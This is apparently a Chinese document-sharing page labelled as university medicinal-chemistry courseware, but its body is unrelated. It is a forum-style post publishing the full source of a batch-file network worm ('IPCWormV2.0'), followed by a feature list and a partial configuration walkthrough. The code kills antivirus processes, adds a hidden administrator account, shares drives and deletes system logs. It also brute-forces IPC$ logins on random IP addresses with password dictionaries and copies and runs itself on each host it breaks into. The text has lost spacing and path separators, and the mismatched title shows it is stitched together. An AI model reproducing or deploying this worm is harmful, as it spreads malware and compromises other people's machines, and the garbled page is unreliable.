中山大学药物化学课件

《中山大学药物化学课件》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、前几天闲来无事，用批处理写了蠕虫。把源代码公布出来分析一下。希望大家共同进步。源代码如下（把下面的代码保存为Rundll32.bat）：REM-----IPCWormV2.0-----REM  ########################REM配置部分SETaddadmin=wormSETSORI=1SETADDR1=254SETADDR2=254SETADDR3=254SETADDR4=254SETWORM=Rundll32.batREM#######################Copy/y%windir%system32

2、%WORM%C:Autoexec.batCopy/y%windir%system32%WORM%%windir%system32Winstart.batPSKRfw.exePSKKAVPFW.exePSKKAV9X.exePSKVPC32.exePSKPFW.exePSKRavMon.exenetuser%addadmin%/addIF%ERRORLEVEL%==0netlocalgroupAdministrators%addadmin%/addnetshareipc$netshareadmin$netshareC$=c:

3、etshareD$=d:etshareE$=e:etshareF$=f:del%windir%system32logfilesw3svc1*.*/f/qdel%windir%system32logfilesw3svc2*.*/f/qdel%windir%system32config*.event/f/qdel%windir%system32dtclog*.*/f/qdel%windir%*.txt/f/qdel%windir%*.log/f/q:IPADDRESSIF%SORI%==4SET/AA

4、DDR4=%RANDOM%%%%ADDR4%IF%SORI%==3(SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)IF%SORI%==2(SET/AADDR2=%RANDOM%%%%ADDR2%SET/AADDR3=%RANDOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)IF%SORI%==1(SET/AADDR1=%RANDOM%%%%ADDR1%SET/AADDR2=%RANDOM%%%%ADDR2%SET/AADDR3=%RAN

5、DOM%%%%ADDR3%SET/AADDR4=%RANDOM%%%%ADDR4%)  SETADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%FOR/F%%KIN(%windir%system32U.txt)DOFOR/F%%JIN(%windir%system32P.txt)DONETUSE\%ADDRESS%IPC$%%J/USER:%%K&IFNOTerrorlevel1GOTORUNGOTOIPADDRESS:RUNCOPYRundll.bat\%ADDRESS%ADMIN$SYS

6、TEM32%WORM%IFerrorlevel1GOTOERRCOPYU.txt\%ADDRESS%ADMIN$SYSTEM32COPYP.txt\%ADDRESS%ADMIN$SYSTEM32COPYPS\%ADDRESS%ADMIN$SYSTEM32COPYPSK\%ADDRESS%ADMIN$SYSTEM32PS\%ADDRESS%%windir%system32%WORM%NETUSE\%ADDRESS%IPC$/DELGOTOIPADDRESS这里面用到了pskill，psexec这

7、两个小工具和两个猜解用户密码的字典文件U.txt和P.txt。这只蠕虫(IPCworm)的功能:1、杀死本地杀毒程序的进程。(可以杀掉瑞星、金山、天网和赛门铁克。)2、在本地添加一个用户，用户名可以自定义,密码为空。3.把自身复制到启动项。4.共享CDEF盘。4、随即生成一个IP地址。  (可以自由定义IP范围)5、扫描弱口令。7、复制自身到目标主机，并执行。由于防止使用者恶意破坏。只编写了感染部分和传播部分，没有对破坏部分进行编写。现在只可以定义为一条共享蠕虫。分析：REM配置部分REMaddadmin=worm你要建立的用户，默认为

8、wormSETADDR1=254循环IP第一部分SETADDR2=254循环IP第二部分SETADDR3=254循环IP第三部分SETADDR4=254循环IP第四部分SETSORI=1随机开关，如果是4则